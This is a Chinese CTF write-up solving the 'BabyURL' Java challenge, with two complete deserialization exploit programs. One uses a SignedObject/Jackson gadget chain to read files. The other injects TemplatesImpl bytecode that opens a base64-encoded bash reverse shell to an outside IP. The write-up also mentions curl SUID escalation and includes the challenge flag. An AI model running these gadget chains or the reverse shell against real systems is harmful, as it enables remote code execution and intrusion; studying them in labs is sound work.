Contents

2023巅峰极客 BabyURL

题目信息

  • 题目名称:2023巅峰极客 BabyURL
  • 题目镜像:lxxxin/dfjk2023_babyurl
  • 内部端口:8080
  • 题目附件:

attachment.zip

启动脚本

1
docker run -it -d -p 12345:8080 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/dfjk2023_babyurl

WriteUp

SignedObject二次反序列化

该打法仅能列目录读文件,比赛时可以直接读文件获得flag,本镜像的flag需要suid提权后才能读到,如果仅想复现该打法,进入容器给/flag赋读权限即可

下载附件,反编译,文件

结构如下:

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162311084.png

在IndexController中的/hack路由中有反序列化入口

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162311086.png

这里反序列化是自定义对象输入流,把URLVisiter和URLHelper过滤掉了

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162311087.png

/file路由会读取/tmp/file的内容并返回

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162311088.png

在URLHelper类中有个反序列化入口

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162311089.png

由于URLHelper类被过滤了,无法直接反序列化,不过可以二次反序列化

SignObject#getObject会触发二次反序列化

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162311090.png

接下来问题就转换成如何调用SignObject#getObject

这个考点在2023阿里云CTF的Bypassit1有考察过

2023阿里云CTF Bypassit1

本地重写一下BaseJsonNode�类,把writeReplace方法删除掉才能正常反序列化

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162311091.png

完整的PoC如下:

  • 在URLHelper中会对传入的url做校验,不过用的是myurl.startsWith("file")方式校验,可以通过大写绕过
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import com.fasterxml.jackson.databind.node.POJONode;

import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;

import javax.management.BadAttributeValueExpException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.*;

public class BabyURLPoC {
    public static String filePath = "/path/to/ser.bin";

    public static void main(String[] args) throws Exception {
        URLHelper handler = new URLHelper("File:///");
        // URLHelper handler = new URLHelper("File:///flag");
        handler.visiter = new URLVisiter();

        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(handler, privateKey, signingEngine);

        POJONode node = new POJONode(signedObject);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);

        setFieldValue(val, "val", node);

        ser(val);
    }
    public static void ser(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(filePath));
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
    }
    public static void setFieldValue(Object obj, String field, Object val) throws Exception{
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
}

先读根目录下所有文件列表,再读文件

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162311092.png

打过去注意URL编码,然后再访问/file路由读文件即可

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162311093.png

绕过黑名单打TemplatesImpl

该打法能RCE且不依赖题目提供的URLHelper、URLVisiter类

参考2023阿里云CTF的Bypassit1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;

import javax.management.BadAttributeValueExpException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class AliyunBypassIt {
    public static String filePath = "/path/to/ser.bin";

    public static void main(String[] args) throws Exception {
        byte[] code = getTemplates();//用javassist获取
        byte[][] codes = {code};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "useless");
        setFieldValue(templates, "_tfactory",  new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", codes);

        POJONode node = new POJONode(templates);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);

        setFieldValue(val, "val", node);

        ser(val);
    }
    public static void ser(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(filePath));
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
    }

    public static byte[] getTemplates() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("MyTemplate");
        template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzM5OTk5IDA+JjE=}|{base64,-d}|{bash,-i}\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }
    public static void setFieldValue(Object obj, String field, Object val) throws Exception{
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
}

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162311094.png

接着利用curl的suid提权读/flag即可

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308162311095.png